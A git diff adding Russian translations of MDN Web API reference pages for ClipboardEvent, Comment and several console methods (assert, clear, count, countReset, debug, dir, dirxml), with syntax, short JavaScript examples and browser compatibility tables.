+++ b/files/ru/web/api/clipboardevent/index.html
@@ -0,0 +1,132 @@
+---
+title: ClipboardEvent
+slug: Web/API/ClipboardEvent
+tags:
+  - API
+  - Clipboard API
+  - Event
+  - Experimental
+  - Interface
+  - Буфер обмена
+translation_of: Web/API/ClipboardEvent
+---
+<p>{{APIRef("Clipboard API")}} {{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>ClipboardEvent</code></strong> предствляет события, предоставляющие информацию,  связанную с изменением буфера обмена, этими события являются {{event("cut")}}, {{event("copy")}} и {{event("paste")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс наследует свойства от родителя {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}</dt>
+ <dd>Является {{domxref("DataTransfer")}} объектом, который содержит данные, полученные от совершения пользователем операции {{event("cut")}}, {{event("copy")}} или {{event("paste")}}, а также их MIME тип.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
+ <dd>Создает <code>ClipboardEvent</code> событие с переданными параметрами.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специальных методов; Этот интерфейс наследует методы от своего родителя {{domxref("Event")}}</em>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>События, связанные с копированием в буфер: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/ru/web/api/comment/index.html b/files/ru/web/api/comment/index.html
new file mode 100644
index 0000000000..1f5be83365
--- /dev/null
+++ b/files/ru/web/api/comment/index.html
@@ -0,0 +1,69 @@
+---
+title: Comment
+slug: Web/API/Comment
+tags:
+  - Комментарии
+translation_of: Web/API/Comment
+---
+<p>Интерфейс<span class="seoSummary"> <code><strong>Comment</strong></code> представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде.</span> Комментарии  представляются в  HTML и XML как контент, заключенный между  '<code>&lt;!--</code>' и '<code>--&gt;</code>'. В XML, последовательность символов '<code>--</code>' может не использоваться в комментариях.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>У этого интерфейса нет конкретных свойств, но он наследует свойства родителя {{domxref("CharacterData")}}, и частично {{domxref("Node")}}.</em></p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}</dt>
+ <dd>Возвращает объект <code>Comment</code> с параметрами в качестве его текстового содержимого.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>У этого интерфейса нет конкретных методов, но он наследует методы родителя {{domxref("CharacterData")}}, и частично {{domxref("Node")}}.</em></p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Добавлен конструктор</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Нет изменений по сравнению с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Нет изменений по сравнению с {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Comment")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/console/assert/index.html b/files/ru/web/api/console/assert/index.html
new file mode 100644
index 0000000000..1ca29fa5f7
--- /dev/null
+++ b/files/ru/web/api/console/assert/index.html
@@ -0,0 +1,112 @@
+---
+title: console.assert()
+slug: Web/API/Console/assert
+tags:
+  - API
+  - Debugging
+  - console
+  - web console
+  - Отладка
+translation_of: Web/API/console/assert
+---
+<div>{{APIRef("Console API")}}{{Non-standard_Header}}</div>
+
+<p>Метод <code><strong>console.assert()</strong></code> записывает сообщение об ошибке в консоль в случае, если утверждение ложно. Если утверждение истинно - ничего не происходит.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>Важно:</strong> Реализация м<em>етода <code>console.assert()</code> в браузере и Node.js отличается.</em></p>
+
+<p>В браузере, вызов console.assert() с ложным утверждением вызовет печать ошибки в консоль без прерывания текущего выполнения скрипта, а в Node.js в аналогичном случае будет выброшена ошибка - AssertionError.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.assert(<em>assertion</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>assertion</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); // си-подобное форматирование строк
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>Любое логическое утверждение. Если утверждение ложно - сообщение об ошибке записывается в консоль.</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список JavaScript объектов для вывода. Строковое представление этих объектов добавляются в порядке, указанном в списке, и выводятся.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая ноль или более строк подстановки.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Объекты JavaScript, которыми нужно заменить строки подстановки в рамках параметра <strong>msg</strong>. Этот параметр даёт дополнительный контроль над форматированием вывода.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере кода демонстрируется использование объекта JavaScript после утверждения:</p>
+
+<pre class="brush: js">const errorMsg = '# не чётное число';
+for (let number = 2; number &lt;= 5; number += 1) {
+    console.log('# равно ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // или, при использовании {{jsxref("Operators/Object_initializer", "сокращения имён свойств в ECMAScript 2015", "Новая_нотация_в_ECMAScript_2015")}}:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// # равно 2
+// # равно 3
+// Assertion failed: {number: 3, errorMsg: "# не чётное число"}
+// # равно 4
+// # равно 5
+// Assertion failed: {number: 5, errorMsg: "# не чётное число"}
+</pre>
+
+<p>Обратите внимание, что хотя строка, содержащая строку подстановки, работает как параметр для <code>console.log</code> в Node и многих, если не большинстве, браузерах...</p>
+
+<pre>console.log('слово %s', 'foo');
+// output: слово foo
+</pre>
+
+<p>...использование такой строки в настоящее время не работает в качестве параметра для <code>console.assert</code> во всех браузерах:</p>
+
+<pre class="brush: js">console.assert(false, 'слово %s', 'foo');
+// корректный вывод в Node.js и некоторых браузерах
+//     (например Firefox v60.0.2):
+// Assertion failed: слово foo
+// некорректный вывод в некоторых браузерах
+//     (например Chrome v67.0.3396.87):
+// Assertion failed: слово %s foo</pre>
+
+<p>Смотрите также <a href="/ru/docs/Web/API/console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документации {{domxref("console")}} для более детальной информации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleassertexpression-object", "console.assert()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Console.assert")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/clear/index.html b/files/ru/web/api/console/clear/index.html
new file mode 100644
index 0000000000..b86317d69a
--- /dev/null
+++ b/files/ru/web/api/console/clear/index.html
@@ -0,0 +1,53 @@
+---
+title: clear()
+slug: Web/API/Console/clear
+tags:
+  - API
+  - консоль
+translation_of: Web/API/Console/clear
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Очищает консоль.</p>
+
+<p>Содержимое консоли заменяется на информационное сообщение, которое может быть следующим: "Консоль очищена".</p>
+
+<p>Заметка для Google Chrome, от функции <code>console.clear()</code> не будет никакого эффекта, если у пользователя установлена надстройка "Preserve log upon navigation" в <a href="https://developer.chrome.com/devtools/docs/settings#preserve-log%20upon%20navigation">настройках</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">console.clear();
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleclear", "console.clear()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Console.clear")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/count/index.html b/files/ru/web/api/console/count/index.html
new file mode 100644
index 0000000000..c91f2fffe9
--- /dev/null
+++ b/files/ru/web/api/console/count/index.html
@@ -0,0 +1,170 @@
+---
+title: Console.count()
+slug: Web/API/Console/count
+translation_of: Web/API/Console/count
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Выводит число, равное тому, сколько раз была вызвана конкретная функция <code>count()</code>. Эта функция также принимает необязательный аргумент <code>label</code>.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Если <code>label</code> передается в функцию, то она выводит число вызовов функции <code>count()</code> с такой же точно <code>label</code>.</p>
+
+<p>Если <code>label</code> опущена, то функция выводит такое число, сколько раз была вызвана функция <code>count()</code> в этой отдельной строке.</p>
+
+<p>Например, при таком коде:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();</pre>
+
+<p>В консоль выведется:</p>
+
+<pre class="eval">"&lt;no label&gt;: 1"
+"&lt;no label&gt;: 2"
+"&lt;no label&gt;: 3"
+"&lt;no label&gt;: 1"
+</pre>
+
+<p> </p>
+
+<p>Обратите внимание на итоговую строку вывода журнала: отдельный вызов count () в строке 11 рассматривается как независимое событие.</p>
+
+<p>Если мы передадим переменную <code>user</code> в качестве аргумента <code>label</code> при первом вызове функции <code>count()</code>, aи строку "alice" при втором:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");</pre>
+
+<p>На выходе мы увидим:</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"</pre>
+
+<p>Таким образом мы сохранили различные счетчики основываясь только на значении <code>label</code>. Поскольку строка  "alice"  в строке 11 совпала со значением <code>user</code> дважды, это не сочлось отдельным событием.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.count([label]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Строка. Если она передается, <code>count()</code> выводит такое число, которое сообветсвует количеству  раз вызова данной функции с таким же точно <code>label</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.count()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("30.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("30.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/console/countreset/index.html b/files/ru/web/api/console/countreset/index.html
new file mode 100644
index 0000000000..b5bdb7e3b8
--- /dev/null
+++ b/files/ru/web/api/console/countreset/index.html
@@ -0,0 +1,130 @@
+---
+title: Console.countReset()
+slug: Web/API/Console/countReset
+translation_of: Web/API/Console/countReset
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Сбрасывает значение счетчика. Эта функция также принимает необязательный аргумент <code>label</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Если аргумент <code>label</code> передан, то функция сбросит счетчик связанный с этим аргументом.</p>
+
+<p>Если значение <code>label</code> опущено, то функция сбросит счетчик, заданый по умолчанию.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.countReset([label]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Строка.<br>
+ Если аргумент label был передан, <code>countReset()</code> сбросит к 0 счетчик для этого label.<br>
+ Если нет, <code>count()</code> сбросит к 0 счетчик, заданый по умолчанию.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Если аргумент label был передан:</p>
+
+<pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">counter-name: 0</span></span></span></pre>
+
+<p>Если аргумент label не был определен:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">default: 0</span></span></span></pre>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Если аргумент <code>label</code> был передан, но такого счетчика не существует <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> вернет предупреждение:</span></span></span></p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "counter-name" doesn’t exist.</code></span></span></span></pre>
+
+<p>Если аргумент <code>label</code> не был передан и <code>count()</code> не был вызван ранее, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">вернет предупреждение</span></span></span>:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "default" doesn’t exist.</code></span></span></span></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Например, при таком коде:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();</pre>
+
+<p>Вывод консоли будет примерно таким:</p>
+
+<pre class="eval">"default: 1"
+"default: 2"
+"default: 3"
+"default: 1"
+"default: 0"
+</pre>
+
+<p>Заметьте, что вызов console.counterReset() сбросил до 0 значение счетчика заданного по умолчанию.</p>
+
+<p>Если мы присвоим переменную <code>user</code> как арумент <code>label</code> при первом вызове <code>count()</code>, и строку "alice" при втором:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");</pre>
+
+<p>Вывод будет примерно таким:</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"</pre>
+
+<p>Сброс счетчика "bob" изменил значение только этого счетчика. Значение счетчика "alice" осталось неизменно.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.countReset()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Console.countReset")}}</p>
diff --git a/files/ru/web/api/console/debug/index.html b/files/ru/web/api/console/debug/index.html
new file mode 100644
index 0000000000..4bd3892b8d
--- /dev/null
+++ b/files/ru/web/api/console/debug/index.html
@@ -0,0 +1,56 @@
+---
+title: Console.debug()
+slug: Web/API/Console/debug
+translation_of: Web/API/Console/debug
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Выводит сообщение в веб.консоль Сообщение отображается только если консоль настроена на показ сообщений уровня отладки.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся. </dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 и более подстановочных символов для замены (см. <code>subst1</code> ... <code>substN</code>).</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в <code>msg</code>. Это даст вам дополнительный контроль над форматом вывода. (см. {{SectionOnPage("/ru/docs/Web/API/Console", "Преобразование строк с использованием масок")}}).</dd>
+</dl>
+
+<p>Читайте <a href="/ru/docs/Web/API/Console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документаци {{domxref("console")}} для получения дополнительной информации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#debug", "console.debug()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.debug")}}</p>
+</div>
diff --git a/files/ru/web/api/console/dir/index.html b/files/ru/web/api/console/dir/index.html
new file mode 100644
index 0000000000..e710d4cd72
--- /dev/null
+++ b/files/ru/web/api/console/dir/index.html
@@ -0,0 +1,91 @@
+---
+title: Console.dir()
+slug: Web/API/Console/dir
+tags:
+  - API
+  - DOM
+  - Веб-консоль
+translation_of: Web/API/Console/dir
+---
+<p>{{ APIRef("Console API") }}{{Non-standard_header}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Отображает список свойств указанного JavaScript объекта. Вывод представлен в виде иерархического списка с  возможностью просмотра содержимого дочерних объектов.</p>
+
+<p>Console.dir это способ посмотреть в консоли свойства заданного javascript объекта.</p>
+
+<p><img alt="console-dir.png" class="default internal" src="/@api/deki/files/6081/=console-dir.png"></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">console.dir(<em>object</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>JavaScript-объект свойства которого нужно вывести.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Спецификация</h3>
+
+<p><a href="https://github.com/DeveloperToolsWG/console-object/blob/master/api.md#consoledirobject">Console Object API</a></p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,helvetica,arial,sans-serif; font-size: 16px; line-height: 16px;">Особенность</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Поддержка</span></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/ru/web/api/console/dirxml/index.html b/files/ru/web/api/console/dirxml/index.html
new file mode 100644
index 0000000000..02856c1dc8
--- /dev/null
+++ b/files/ru/web/api/console/dirxml/index.html
@@ -0,0 +1,57 @@
+---
+title: Console.dirxml()
+slug: Web/API/Console/dirxml
+translation_of: Web/API/Console/dirxml
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Отображает интерактивное дерево из дочерних элементов указанного XML / HTML элемента. Если невозможно отобразить как элемент, то вместо этого отображается представление объекта JavaScript. Выходные данные представлены в виде иерархического списка расширяемых узлов, которые позволяют вам видеть содержимое дочерних узлов.</p>
+
+<p style="margin-bottom: 0cm; line-height: 100%;"></p>
+
+<p style="margin-bottom: 0cm; line-height: 100%;"></p>
+
+<h2 id="Синтакис">Синтакис</h2>
+
+<pre class="syntaxbox">console.dirxml(<em>object</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>
+ <p>Объект JavaScript свойства которого будут отображены.</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#dirxml", "console.dirxml()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите стать контрибьютором, пожалуйста, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Console.dirxml")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/error/index.html b/files/ru/web/api/console/error/index.html
new file mode 100644
index 0000000000..419e2637ba
